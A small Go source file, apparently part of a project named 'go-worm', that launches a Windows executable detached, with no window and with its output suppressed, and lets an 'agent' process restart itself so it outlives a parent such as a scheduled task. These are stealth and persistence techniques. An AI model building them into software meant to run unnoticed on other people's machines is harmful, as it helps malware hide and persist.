//go:build windows package instance import ( "os" "os/exec" "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) // Launch starts exe detached with no visible window. DETACHED_PROCESS keeps // the child alive after the parent (e.g. a scheduled task) exits. func Launch(exe string, args []string) error { nul, err := os.OpenFile("NUL", os.O_RDWR, 0) if err != nil { return err } defer nul.Close() cmd := exec.Command(exe, args...) cmd.Stdin = nul cmd.Stdout = nul cmd.Stderr = nul cmd.SysProcAttr = helpers.HiddenDetachedSysProcAttr() if err := cmd.Start(); err != nil { return err } return cmd.Process.Release() } // RestartSelf launches a fresh agent process (no mutex check). func RestartSelf() error { exe, err := os.Executable() if err != nil { return err } return Launch(exe, nil) }